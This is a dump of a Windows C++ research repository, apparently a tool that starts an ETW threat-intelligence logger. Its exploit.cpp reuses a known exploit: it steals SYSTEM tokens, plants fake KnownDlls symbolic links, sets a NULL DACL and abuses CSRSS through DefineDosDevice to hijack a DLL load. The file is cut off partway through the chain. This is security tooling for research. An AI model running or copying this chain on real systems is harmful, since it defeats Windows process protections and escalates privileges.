[
  {
    "path": ".gitattributes",
    "content": "###############################################################################\n# Set default behavior to automatically normalize line endings.\n###############################################################################\n* text=auto\n\n###############################################################################\n# Set default behavior for command prompt diff.\n#\n# This is need for earlier builds of msysgit that does not have it on by\n# default for csharp files.\n# Note: This is only used by command line\n###############################################################################\n#*.cs     diff=csharp\n\n###############################################################################\n# Set the merge driver for project and solution files\n#\n# Merging from the command prompt will add diff markers to the files if there\n# are conflicts (Merging from VS is not affected by the settings below, in VS\n# the diff markers are never inserted). Diff markers may cause the following \n# file extensions to fail to load in VS. An alternative would be to treat\n# these files as binary and thus will always conflict and require user\n# intervention with every merge. To do so, just uncomment the entries below\n###############################################################################\n#*.sln       merge=binary\n#*.csproj    merge=binary\n#*.vbproj    merge=binary\n#*.vcxproj   merge=binary\n#*.vcproj    merge=binary\n#*.dbproj    merge=binary\n#*.fsproj    merge=binary\n#*.lsproj    merge=binary\n#*.wixproj   merge=binary\n#*.modelproj merge=binary\n#*.sqlproj   merge=binary\n#*.wwaproj   merge=binary\n\n###############################################################################\n# behavior for image files\n#\n# image files are treated as binary by default.\n###############################################################################\n#*.jpg   binary\n#*.png   binary\n#*.gif   binary\n\n###############################################################################\n# diff behavior for common document formats\n# \n# Convert binary document formats to text before diffing them. This feature\n# is only available from the command line. Turn it on by uncommenting the \n# entries below.\n###############################################################################\n#*.doc   diff=astextplain\n#*.DOC   diff=astextplain\n#*.docx  diff=astextplain\n#*.DOCX  diff=astextplain\n#*.dot   diff=astextplain\n#*.DOT   diff=astextplain\n#*.pdf   diff=astextplain\n#*.PDF   diff=astextplain\n#*.rtf   diff=astextplain\n#*.RTF   diff=astextplain\n"
  },
  {
    "path": ".github/workflows/main.yml",
    "content": "name: CI\n\non:\n  push:\n    branches: [ master ]\n  pull_request:\n    branches: [ master ]\n  workflow_dispatch:\n\njobs:\n  build:\n    runs-on: windows-2019\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n        with:\n          submodules: recursive\n\n      - name: Setup MsBuild\n        uses: microsoft/setup-msbuild@v1\n\n      - name: Build Debug\n        run: msbuild.exe /nologo /m /t:Rebuild /p:Configuration=Debug SealighterTI.sln\n\n      - name: Build Release\n        run: msbuild.exe /nologo /m /t:Rebuild /p:Configuration=Release SealighterTI.sln\n"
  },
  {
    "path": ".github/workflows/release.yml",
    "content": "name: Publish Release\n\non:\n  push:\n    tags:\n    - 'v*' # Push events to matching v*, i.e. v1.0, v20.15.10\n\n\njobs:\n  build:\n    runs-on: windows-2019\n    steps:\n      - name: Checkout code\n        uses: actions/checkout@v2\n        with:\n          submodules: recursive\n\n      - name: Setup MsBuild\n        uses: microsoft/setup-msbuild@v1\n\n      - name: Build Debug\n        run: msbuild.exe /nologo /m /t:Rebuild /p:Configuration=Debug SealighterTI.sln\n\n      - name: Build Release\n        run: msbuild.exe /nologo /m /t:Rebuild /p:Configuration=Release SealighterTI.sln\n\n      - name: Create Release\n        id: create_release\n        uses: actions/create-release@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          tag_name: ${{ github.ref }}\n          release_name: Release ${{ github.ref }}\n          draft: false\n          prerelease: false\n\n      - name: Upload Debug Build\n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ steps.create_release.outputs.upload_url }}\n          asset_path: ./x64/Debug/SealighterTI.exe\n          asset_name: SealighterTI.debug.exe\n          asset_content_type: application/octet-stream\n\n      - name: Upload Release Build\n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ steps.create_release.outputs.upload_url }}\n          asset_path: ./x64/Release/SealighterTI.exe\n          asset_name: SealighterTI.exe\n          asset_content_type: application/octet-stream\n\n      - name: Upload Manifest\n        uses: actions/upload-release-asset@v1\n        env:\n          GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}\n        with:\n          upload_url: ${{ steps.create_release.outputs.upload_url }}\n          asset_path: ./sealighter_provider.man\n          asset_name: sealighter_provider.man\n          asset_content_type: application/xml\n"
  },
  {
    "path": ".gitignore",
    "content": "## Ignore Visual Studio temporary files, build results, and\n## files generated by popular Visual Studio add-ons.\n##\n## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore\n\n# User-specific files\n*.rsuser\n*.suo\n*.user\n*.userosscache\n*.sln.docstates\n\n# User-specific files (MonoDevelop/Xamarin Studio)\n*.userprefs\n\n# Build results\n[Dd]ebug/\n[Dd]ebugPublic/\n[Rr]elease/\n[Rr]eleases/\nx64/\nx86/\n[Aa][Rr][Mm]/\n[Aa][Rr][Mm]64/\nbld/\n[Bb]in/\n[Oo]bj/\n[Ll]og/\n\n# Visual Studio 2015/2017 cache/options directory\n.vs/\n# Uncomment if you have tasks that create the project's static files in wwwroot\n#wwwroot/\n\n# Visual Studio 2017 auto generated files\nGenerated\\ Files/\n\n# MSTest test Results\n[Tt]est[Rr]esult*/\n[Bb]uild[Ll]og.*\n\n# NUNIT\n*.VisualState.xml\nTestResult.xml\n\n# Build Results of an ATL Project\n[Dd]ebugPS/\n[Rr]eleasePS/\ndlldata.c\n\n# Benchmark Results\nBenchmarkDotNet.Artifacts/\n\n# .NET Core\nproject.lock.json\nproject.fragment.lock.json\nartifacts/\n\n# StyleCop\nStyleCopReport.xml\n\n# Files built by Visual Studio\n*_i.c\n*_p.c\n*_h.h\n*.ilk\n*.meta\n*.obj\n*.iobj\n*.pch\n*.pdb\n*.ipdb\n*.pgc\n*.pgd\n*.rsp\n*.sbr\n*.tlb\n*.tli\n*.tlh\n*.tmp\n*.tmp_proj\n*_wpftmp.csproj\n*.log\n*.vspscc\n*.vssscc\n.builds\n*.pidb\n*.svclog\n*.scc\n\n# Chutzpah Test files\n_Chutzpah*\n\n# Visual C++ cache files\nipch/\n*.aps\n*.ncb\n*.opendb\n*.opensdf\n*.sdf\n*.cachefile\n*.VC.db\n*.VC.VC.opendb\n\n# Visual Studio profiler\n*.psess\n*.vsp\n*.vspx\n*.sap\n\n# Visual Studio Trace Files\n*.e2e\n\n# TFS 2012 Local Workspace\n$tf/\n\n# Guidance Automation Toolkit\n*.gpState\n\n# ReSharper is a .NET coding add-in\n_ReSharper*/\n*.[Rr]e[Ss]harper\n*.DotSettings.user\n\n# JustCode is a .NET coding add-in\n.JustCode\n\n# TeamCity is a build add-in\n_TeamCity*\n\n# DotCover is a Code Coverage Tool\n*.dotCover\n\n# AxoCover is a Code Coverage Tool\n.axoCover/*\n!.axoCover/settings.json\n\n# Visual Studio code coverage results\n*.coverage\n*.coveragexml\n\n# NCrunch\n_NCrunch_*\n.*crunch*.local.xml\nnCrunchTemp_*\n\n# MightyMoose\n*.mm.*\nAutoTest.Net/\n\n# Web workbench (sass)\n.sass-cache/\n\n# Installshield output folder\n[Ee]xpress/\n\n# DocProject is a documentation generator add-in\nDocProject/buildhelp/\nDocProject/Help/*.HxT\nDocProject/Help/*.HxC\nDocProject/Help/*.hhc\nDocProject/Help/*.hhk\nDocProject/Help/*.hhp\nDocProject/Help/Html2\nDocProject/Help/html\n\n# Click-Once directory\npublish/\n\n# Publish Web Output\n*.[Pp]ublish.xml\n*.azurePubxml\n# Note: Comment the next line if you want to checkin your web deploy settings,\n# but database connection strings (with potential passwords) will be unencrypted\n*.pubxml\n*.publishproj\n\n# Microsoft Azure Web App publish settings. Comment the next line if you want to\n# checkin your Azure Web App publish settings, but sensitive information contained\n# in these scripts will be unencrypted\nPublishScripts/\n\n# NuGet Packages\n*.nupkg\n# The packages folder can be ignored because of Package Restore\n**/[Pp]ackages/*\n# except build/, which is used as an MSBuild target.\n!**/[Pp]ackages/build/\n# Uncomment if necessary however generally it will be regenerated when needed\n#!**/[Pp]ackages/repositories.config\n# NuGet v3's project.json files produces more ignorable files\n*.nuget.props\n*.nuget.targets\n\n# Microsoft Azure Build Output\ncsx/\n*.build.csdef\n\n# Microsoft Azure Emulator\necf/\nrcf/\n\n# Windows Store app package directories and files\nAppPackages/\nBundleArtifacts/\nPackage.StoreAssociation.xml\n_pkginfo.txt\n*.appx\n\n# Visual Studio cache files\n# files ending in .cache can be ignored\n*.[Cc]ache\n# but keep track of directories ending in .cache\n!?*.[Cc]ache/\n\n# Others\nClientBin/\n~$*\n*~\n*.dbmdl\n*.dbproj.schemaview\n*.jfm\n*.pfx\n*.publishsettings\norleans.codegen.cs\n\n# Including strong name files can present a security risk\n# (https://github.com/github/gitignore/pull/2483#issue-259490424)\n#*.snk\n\n# Since there are multiple workflows, uncomment next line to ignore bower_components\n# (https://github.com/github/gitignore/pull/1529#issuecomment-104372622)\n#bower_components/\n\n# RIA/Silverlight projects\nGenerated_Code/\n\n# Backup & report files from converting an old project file\n# to a newer Visual Studio version. Backup files are not needed,\n# because we have git ;-)\n_UpgradeReport_Files/\nBackup*/\nUpgradeLog*.XML\nUpgradeLog*.htm\nServiceFabricBackup/\n*.rptproj.bak\n\n# SQL Server files\n*.mdf\n*.ldf\n*.ndf\n\n# Business Intelligence projects\n*.rdl.data\n*.bim.layout\n*.bim_*.settings\n*.rptproj.rsuser\n*- Backup*.rdl\n\n# Microsoft Fakes\nFakesAssemblies/\n\n# GhostDoc plugin setting file\n*.GhostDoc.xml\n\n# Node.js Tools for Visual Studio\n.ntvs_analysis.dat\nnode_modules/\n\n# Visual Studio 6 build log\n*.plg\n\n# Visual Studio 6 workspace options file\n*.opt\n\n# Visual Studio 6 auto-generated workspace file (contains which files were open etc.)\n*.vbw\n\n# Visual Studio LightSwitch build output\n**/*.HTMLClient/GeneratedArtifacts\n**/*.DesktopClient/GeneratedArtifacts\n**/*.DesktopClient/ModelManifest.xml\n**/*.Server/GeneratedArtifacts\n**/*.Server/ModelManifest.xml\n_Pvt_Extensions\n\n# Paket dependency manager\n.paket/paket.exe\npaket-files/\n\n# FAKE - F# Make\n.fake/\n\n# JetBrains Rider\n.idea/\n*.sln.iml\n\n# CodeRush personal settings\n.cr/personal\n\n# Python Tools for Visual Studio (PTVS)\n__pycache__/\n*.pyc\n\n# Cake - Uncomment if you are using it\n# tools/**\n# !tools/packages.config\n\n# Tabs Studio\n*.tss\n\n# Telerik's JustMock configuration file\n*.jmconfig\n\n# BizTalk build output\n*.btp.cs\n*.btm.cs\n*.odx.cs\n*.xsd.cs\n\n# OpenCover UI analysis results\nOpenCover/\n\n# Azure Stream Analytics local run output\nASALocalRun/\n\n# MSBuild Binary and Structured Log\n*.binlog\n\n# NVidia Nsight GPU debugger configuration file\n*.nvuser\n\n# MFractors (Xamarin productivity tool) working folder\n.mfractor/\n\n# Local History for Visual Studio\n.localhistory/\n\n# BeatPulse healthcheck temp database\nhealthchecksdb\n\n\n# Test files\ntest_sealighter_provider.man"
  },
  {
    "path": ".gitmodules",
    "content": "[submodule \"Sealighter\"]\n\tpath = Sealighter\n\turl = https://github.com/pathtofile/Sealighter.git\n[submodule \"Detours\"]\n\tpath = Detours\n\turl = https://github.com/microsoft/Detours.git\n"
  },
  {
    "path": "PPLdump/PPLdump.cpp",
    "content": "#include \"exploit.h\"\n#include \"sealighter_provider.h\"\n#include <iostream>\n\nBOOL g_bVerbose = FALSE;\nBOOL g_bDebug = FALSE;\nBOOL g_bForce = FALSE;\nHANDLE g_hEventStopTrace = NULL;\n\nint wmain(int argc, wchar_t* argv[])\n{\n    BOOL bReturnValue = FALSE;\n    DWORD dwPidToKill = 0;\n\n    if (!ParseArguments(argc, argv))\n        return 1;\n\n    // Add Sealighter ETW Provider\n    int status = EventRegisterSealighter();\n    if (ERROR_SUCCESS != status) {\n        return 1;\n    }\n\n    bReturnValue = StartETWLogger();\n    if (!bReturnValue) {\n        return 1;\n    }\n    (void)EventUnregisterSealighter();\n    return 0;\n}\n"
  },
  {
    "path": "PPLdump/PPLdump.vcxproj",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <VCProjectVersion>16.0</VCProjectVersion>\n    <Keyword>Win32Proj</Keyword>\n    <ProjectGuid>{fce81bda-acac-4892-969e-0414e765593b}</ProjectGuid>\n    <RootNamespace>PPLdump</RootNamespace>\n    <WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>\n    <ProjectName>SealighterTI</ProjectName>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n    <PlatformToolset>v142</PlatformToolset>\n    <WholeProgramOptimization>true</WholeProgramOptimization>\n    <CharacterSet>Unicode</CharacterSet>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"Shared\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\Sealighter\\sealighter</AdditionalIncludeDirectories>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <AdditionalLibraryDirectories>\n      </AdditionalLibraryDirectories>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n    <ResourceCompile>\n      <PreprocessorDefinitions>_DEBUG;_UNICODE;UNICODE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n    </ResourceCompile>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <WarningLevel>Level3</WarningLevel>\n      <FunctionLevelLinking>true</FunctionLevelLinking>\n      <IntrinsicFunctions>true</IntrinsicFunctions>\n      <SDLCheck>true</SDLCheck>\n      <PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <ConformanceMode>true</ConformanceMode>\n      <AdditionalIncludeDirectories>..\\Sealighter\\sealighter</AdditionalIncludeDirectories>\n      <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n    </ClCompile>\n    <Link>\n      <SubSystem>Console</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <GenerateDebugInformation>false</GenerateDebugInformation>\n      <AdditionalLibraryDirectories>\n      </AdditionalLibraryDirectories>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>winver.manifest %(AdditionalManifestFiles)</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"exploit.cpp\" />\n    <ClCompile Include=\"PPLdump.cpp\" />\n    <ClCompile Include=\"utils.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_provider.h\" />\n    <ClInclude Include=\"exploit.h\" />\n    <ClInclude Include=\"ntdll.h\" />\n    <ClInclude Include=\"resource.h\" />\n    <ClInclude Include=\"utils.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"..\\Sealighter\\sealighter\\sealighter_provider.rc\" />\n    <ResourceCompile Include=\"PPLdump.rc\">\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <PreprocessorDefinitions Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">WIN64;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\Release\\PPLdumpDll.dll\" />\n    <None Include=\"..\\x64\\Release\\PPLdumpDll.dll\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  <ImportGroup Label=\"ExtensionTargets\">\n  </ImportGroup>\n</Project>"
  },
  {
    "path": "PPLdump/PPLdump.vcxproj.filters",
    "content": "﻿<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup>\n    <Filter Include=\"Source Files\">\n      <UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>\n      <Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>\n    </Filter>\n    <Filter Include=\"Header Files\">\n      <UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>\n      <Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>\n    </Filter>\n    <Filter Include=\"Resource Files\">\n      <UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>\n      <Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>\n    </Filter>\n  </ItemGroup>\n  <ItemGroup>\n    <ClCompile Include=\"PPLdump.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"exploit.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n    <ClCompile Include=\"utils.cpp\">\n      <Filter>Source Files</Filter>\n    </ClCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"exploit.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"ntdll.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"utils.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"resource.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n    <ClInclude Include=\"..\\Sealighter\\sealighter\\sealighter_provider.h\">\n      <Filter>Header Files</Filter>\n    </ClInclude>\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"PPLdump.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n    <ResourceCompile Include=\"..\\Sealighter\\sealighter\\sealighter_provider.rc\">\n      <Filter>Resource Files</Filter>\n    </ResourceCompile>\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"..\\x64\\Release\\PPLdumpDll.dll\" />\n    <None Include=\"..\\Release\\PPLdumpDll.dll\" />\n  </ItemGroup>\n</Project>"
  },
  {
    "path": "PPLdump/exploit.cpp",
    "content": "#include \"exploit.h\"\n\n_Success_(return)\nBOOL StartETWLogger()\n{\n\tBOOL bReturnValue = FALSE;\n\n\tBOOL bCurrentUserIsSystem = FALSE;\n\tHANDLE hSystemToken = NULL;\n\tBOOL bImpersonationActive = FALSE;\n\n\t// STEP 1\n\tLPCWSTR pwszKnownDllsObjDir = L\"\\\\GLOBAL??\\\\KnownDlls\";\n\tHANDLE hKnownDllsObjDir = NULL;\n\n\t// STEP 2\n\tLPWSTR pwszDllToHijack = NULL;\n\tLPWSTR pwszDllLinkName = NULL;\n\tHANDLE hDllLink = NULL;\n\tSECURITY_DESCRIPTOR sd = { 0 };\n\tSECURITY_ATTRIBUTES sa = { 0 };\n\n\t// STEP 3\n\tLPCWSTR pwszFakeGlobalrootLinkName = L\"\\\\??\\\\GLOBALROOT\";\n\tLPCWSTR pwszFakeGlobalrootLinkTarget = L\"\\\\GLOBAL??\";\n\tHANDLE hFakeGlobalrootLink = NULL;\n\tHANDLE hLocalServiceToken = NULL;\n\n\t// STEP 4\n\tLPWSTR pwszDosDeviceName = NULL;\n\tLPWSTR pwszDosDeviceTargetPath = NULL;\n\n\t// STEP 5\n\tLPWSTR pwszSectionName = NULL;\n\tHANDLE hDllSection = NULL;\n\n\t// STEP 6\n\tLPWSTR pwszCommandLine = NULL;\n\tHANDLE hCurrentToken = NULL;\n\tHANDLE hNewProcessToken = NULL;\n\tPROCESS_INFORMATION newProcessInfo;\n\tDWORD dwExitCode = 0;\n\n\t// SYNCHRONIZATION\n\tHANDLE hEventDllLoaded = NULL, hEventDumpSuccess = NULL;\n\tBOOL bDllLoaded = FALSE, bDumpSuccess = FALSE;\n\tWCHAR wszEventName[MAX_PATH] = { 0 };\n\tLPWSTR pwszGuid = NULL;\n\tDWORD dwWait = 0;\n\n\tPrintDebug(L\"Check requirements\\n\", bCurrentUserIsSystem);\n\n\tif (!CheckRequirements())\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] Requirements OK\\n\");\n\n\tPrintDebug(L\"Get the name of the DLL to hijack\\n\");\n\n\tif (!GetHijackableDllName(&pwszDllToHijack))\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] DLL to hijack: %ws\\n\", pwszDllToHijack);\n\n\tif (!IsCurrentUserSystem(&bCurrentUserIsSystem))\n\t\tgoto end;\n\t\n\tif (g_bDebug)\n\t\tPrintVerbose(L\"[*] Current user is SYSTEM? -> %ws\\n\", bCurrentUserIsSystem ? L\"TRUE\" : L\"FALSE\");\n\n\t\n\t//\n\t// 1. Create the object directory '\\GLOBAL??\\KnownDlls'.\n\t//\n\t//    When executed as an administrator, this fails (access denied). Thanks to WinObj, we can \n\t//    see that Administrators do have the \"Add Object\" right but the corresponding ACE applies \n\t//    to child objects only, which means that they cannot add objects in the directory \n\t//    '\\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will \n\t//    search for SYSTEM tokens among the running processes and steal one. This requires both\n\t//    SeImpersonatePrivilege and SeDebugPrivilege.\n\t//    Note: as long as the object is not marked as \"permanent\", we do not need to remove it \n\t//    manually. When we close the last handle, the object is removed automatically.\n\t//\n\tif (!bCurrentUserIsSystem)\n\t{\n\t\tif (!ImpersonateSystem(&hSystemToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPrintVerbose(L\"[*] Impersonating SYSTEM...\\n\");\n\t}\n\n\tPrintDebug(L\"Create object directory '%ws'...\\n\", pwszKnownDllsObjDir);\n\t\n\tif (!(hKnownDllsObjDir = ObjectManagerCreateDirectory(pwszKnownDllsObjDir)))\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] Created Object Directory: '%ws'\\n\", pwszKnownDllsObjDir);\n\n\n\t//\n\t// 2. Create a symlink in '\\GLOBAL??\\KnownDlls\\' with the name of a DLL to hijack. The target\n\t//    of the link doesn't matter.\n\t//\n\t//    The next steps will allow us to trick the CSRSS service into opening the symbolic link\n\t//    '\\GLOBAL??\\KnownDlls\\FOO.dll' instead of '\\KnownDlls\\FOO.dll' while impersonating the\n\t//    caller. That's why we need to create this symbolic link beforehand. As the service will \n\t//    just open the object itself, its target does not matter. \n\t//\n\tpwszDllLinkName = (LPWSTR)LocalAlloc(LPTR, (MAX_PATH + 1) * sizeof(WCHAR));\n\tif (!pwszDllLinkName)\n\t\tgoto end;\n\n\tStringCchPrintf(pwszDllLinkName, MAX_PATH, L\"%ws\\\\%ws\", pwszKnownDllsObjDir, pwszDllToHijack);\n\n\tPrintDebug(L\"Create symbolic link '%ws'...\\n\", pwszDllLinkName);\n\n\tif (!(hDllLink = ObjectManagerCreateSymlink(pwszDllLinkName, L\"foo123\")))\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] Created Symbolic link: '%ws'\\n\", pwszDllLinkName);\n\t\n\n\t//\n\t// 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT' \n\t//    pointing to '\\GLOBAL??'\n\t//\n\t//    The idea here is to create a \"fake\" GLOBALROOT that will point to a location we control\n\t//    because, at step 4, the CSRSS service will try to open '\\??\\GLOBALROOT\\...' while\n\t//    impersonating the caller. '\\??' represents the current user's DOS device directory. For \n\t//    SYSTEM, '\\??' points to '\\GLOBAL??' so '\\??\\GLOBALROOT' is '\\GLOBAL??\\GLOBALROOT', which \n\t//    is the actual GLOBALROOT. Therefore the trick would not work.\n\t//    However, for users other than SYSTEM, '\\??' points to a dedicated DOS device directory\n\t//    such as '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX'. Therefore, we can create a fake \n\t//    GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so\n\t//    that '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX\\GLOBALROOT' -> '\\GLOBAL??', \n\t//    '\\??\\GLOBALROOT' will actually point to '\\GLOBAL??' instead of '\\GLOBAL??\\GLOBALROOT' in\n\t//    our context.\n\t//    To summarize:\n\t//      - If SYSTEM: '\\??\\GLOBALROOT' -> '' \n\t//      - Else:      '\\??\\GLOBALROOT' -> '\\GLOBAL??' (because of our symbolic link)\n\t//    Which means that:\n\t//      - If SYSTEM: '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\KnownDlls\\FOO.DLL'\n\t//      - Else:      '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\GLOBAL??\\KnownDlls\\FOO.DLL'\n\t//\n\t//    So, at this step, we need to:\n\t//      - revert to self if we impersonated SYSTEM as an administrator;\n\t//      - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.\n\t//\n\tif (bCurrentUserIsSystem)\n\t{\n\t\t//\n\t\t// If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the\n\t\t// the impersonated user will not have sufficient access on the symbolic link we just \n\t\t// created and the DefineDosDevice call will fail with an \"Access Denied\" error. Therefore\n\t\t// we need to edit the ACL of the object first.\n\t\t// \n\t\tInitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\n#pragma warning( suppress : 6248 ) // Disable NULL DACL warning as it is intentional here\n\t\tSetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);\n\n\t\tsa.nLength = sizeof(sa);\n\t\tsa.bInheritHandle = FALSE;\n\t\tsa.lpSecurityDescriptor = &sd;\n\n\t\tPrintDebug(L\"Set a NULL DACL on '%ws'\\n\", pwszDllLinkName);\n\n\t\tif (!SetKernelObjectSecurity(hDllLink, DACL_SECURITY_INFORMATION, &sd))\n\t\t{\n\t\t\tPrintLastError(L\"SetKernelObjectSecurity\");\n\t\t\tgoto end;\n\t\t}\n\n\t\tif (!ImpersonateLocalService(&hLocalServiceToken))\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = TRUE;\n\n\t\tPrintVerbose(L\"[*] Impersonating LOCAL SERVICE...\\n\");\n\t}\n\telse\n\t{\n\t\tif (!RevertToSelf())\n\t\t\tgoto end;\n\n\t\tbImpersonationActive = FALSE;\n\t}\n\n\tPrintDebug(L\"Create symbolic link '%ws -> %ws'...\\n\", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);\n\n\tif (!(hFakeGlobalrootLink = ObjectManagerCreateSymlink(pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget)))\n\t\tgoto end;\n\n\tPrintVerbose(L\"[*] Created symbolic link: '%ws -> %ws'\\n\", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);\n\n\t//\n\t// 4. Call DefineDosDevice specifying a device name of \"GLOBALROOT\\KnownDlls\\FOO.DLL\" and a target\n\t//    path of a location that the user can create section objects inside.\n\t//\n\t//    This still need to be executed as a user other than SYSTEM, so that all the symbolic links \n\t//    are properly followed. This is the \"fun\" part. DefineDosDevice actually results in an RPC \n\t//    call to the CSRSS service. On server side, here is how the device name will be interpreted:\n\t//      a. it receives the 